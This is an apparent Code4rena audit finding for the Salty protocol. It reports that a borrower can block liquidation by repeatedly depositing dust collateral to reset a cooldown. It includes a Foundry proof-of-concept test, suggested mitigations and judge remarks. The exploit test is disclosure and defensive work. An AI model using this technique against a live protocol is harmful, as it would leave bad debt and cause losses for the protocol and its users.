User can prevent liquidations

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

Summary

A user who does not want to be liquidated can deposit minimal collateral values every cooldownExpiration. This will cause calls to CollateralAndLiquidity.liquidateUser to revert. It can lead to undercollateralized debt in case the price goes down further.

Vulnerability Details

CollateralAndLiquidity.liquidateUser calls _decreaseUserShare with useCooldown set to true. This will make _decreaseUserShare revert if block.timestamp < user.cooldownExpiration. A user can set cooldownExpiration by calling CollateralAndLiquidity.depositCollateralAndIncreaseShare, which calls _depositLiquidityAndIncreaseShare, which in turn calls _increaseUserShare with useCooldown set to true.

Impact

A user can't be liquidated => bad debt => losses to the protocol.

Proof of Concept

Put in src/stable/tests/H4.t.sol, run COVERAGE="yes" forge test -f wss://ethereum-sepolia.publicnode.com -vvv --mt testLiquidatePositionAfterDeposit

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "./CollateralAndLiquidity.t.sol";

contract H4 is TestCollateral
    {

    constructor() TestCollateral()
        {

        }

    function testLiquidatePositionAfterDeposit() public {
        // Based on testLiquidatePosition

        // Total needs to be worth at least $2500
        uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
        uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

        // Alice will deposit collateral and borrow max USDS
        vm.startPrank(alice);
        collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

        uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" );

        // Deposit again
        vm.warp( block.timestamp + 1 hours );
        collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );

        // Account for both deposits
        depositedWBTC = depositedWBTC * 2;
        depositedWETH = depositedWETH * 2;
        vm.stopPrank();

        // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
        vm.prank(DEPLOYER);
        collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false );

        vm.warp( block.timestamp + 1 hours );

        vm.startPrank(alice);
        vm.warp( block.timestamp + 1 hours);
        maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        collateralAndLiquidity.borrowUSDS( maxUSDS );
        vm.stopPrank();

        // Delay before the liquidation
        vm.warp( block.timestamp + 1 days );

        // Transfer some more for the last deposit
        vm.startPrank(DEPLOYER);
        wbtc.transfer( alice, 1000 );
        weth.transfer( alice, 1000 );
        vm.stopPrank();

        _crashCollateralPrice();
        vm.startPrank(alice);
        collateralAndLiquidity.depositCollateralAndIncreaseShare( 1000, 1000, 0, block.timestamp, false );
        vm.stopPrank();

        // Liquidating Alice's position reverts
        vm.startPrank(bob);
        vm.expectRevert( "Must wait for the cooldown to expire" );
        collateralAndLiquidity.liquidateUser(alice);

        // But if she did not deposit, it would be liquidated 
        // (just to show that the position is liquidatable otherwise)
        vm.warp( block.timestamp + 1 days );
        collateralAndLiquidity.liquidateUser(alice);

        }

}

Tools Used

Manual review.

Recommended Mitigation Steps

Consider calling _decreaseUserShare with useCooldown set to false in CollateralAndLiquidity.liquidateUser. Consider disallowing deposits for positions in a liquidatable state.

Assessed type

Error

[c4-judge]

Picodes marked the issue as duplicate of #891

[c4-judge]

Picodes marked the issue as satisfactory